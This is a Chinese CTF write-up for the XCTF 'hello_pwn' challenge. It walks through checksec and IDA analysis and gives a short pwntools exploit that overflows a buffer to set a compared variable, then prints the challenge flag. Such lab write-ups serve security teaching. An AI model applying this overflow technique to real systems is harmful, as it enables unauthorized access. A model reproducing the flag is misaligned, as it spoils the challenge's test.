XCTF:hello_pwn[WriteUP]

使用checksec查看ELF文件信息

checksec 4f2f44c9471d4dc2b59768779e378282

XCTF:hello_pwn[WriteUP]_第1张图片

这里只需要注意两个重点:

Arch:64bit的文件,后面写exp的重点

Stack:No canary found 没有栈溢出保护


使用IDA对ELF文件进行反汇编

双击左侧的函数栏中的main函数

XCTF:hello_pwn[WriteUP]_第2张图片

再按F5,对main函数进行反汇编

获得C的伪代码:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  alarm(0x3Cu);
  setbuf(stdout, 0LL);
  puts("~~ welcome to ctf ~~     ");
  puts("lets get helloworld for bof");
  read(0, &unk_601068, 0x10uLL);
  if ( dword_60106C == 1853186401 )
    sub_400686();
  return 0LL;
}

 代码分析

XCTF:hello_pwn[WriteUP]_第3张图片

 双击sub_400686函数,查看具体执行动作

XCTF:hello_pwn[WriteUP]_第4张图片

如图:

XCTF:hello_pwn[WriteUP]_第5张图片

这个函数的作用就是运行系统命令 cat

查看当前目录的flag.txt内容

思路很明显,只要想办法使得dword_60106C == 1853186401就能查看flag


 双击变量dword_60106C

XCTF:hello_pwn[WriteUP]_第6张图片

发现read函数中的unk_601068正好在dword_60106C的后第4个字节

PS:read(0, &unk_601068, 0x10uLL);

XCTF:hello_pwn[WriteUP]_第7张图片

 在cmd启动python也可以把地址扔进去相减

计算一下字节长度也是一样的算出来四个字节

XCTF:hello_pwn[WriteUP]_第8张图片


思路

解题方法很明显了,往read函数里扔4个字节的数据

使stack栈溢出,字节数正好到dword_60106C的位置

再传入64bit的1853186401整型数就可以了


EXP

把IP地址和端口号,换成题目给的

保存为test.py,然后运行一下

from pwn import *

payload = b'a'*4 + p64(1853186401)
#构建字符串,使栈溢出

connect=remote('IP地址',端口号)
#构建连接

connect.sendline(payload)
#发送字符串

connect.interactive()
#开启shell交互,接收回返信息

直接就输出了flag

XCTF:hello_pwn[WriteUP]_第9张图片 


cyberpeace{791d122847943b51a06f5cbe52a37b6b}

你可能感兴趣的:(网络安全)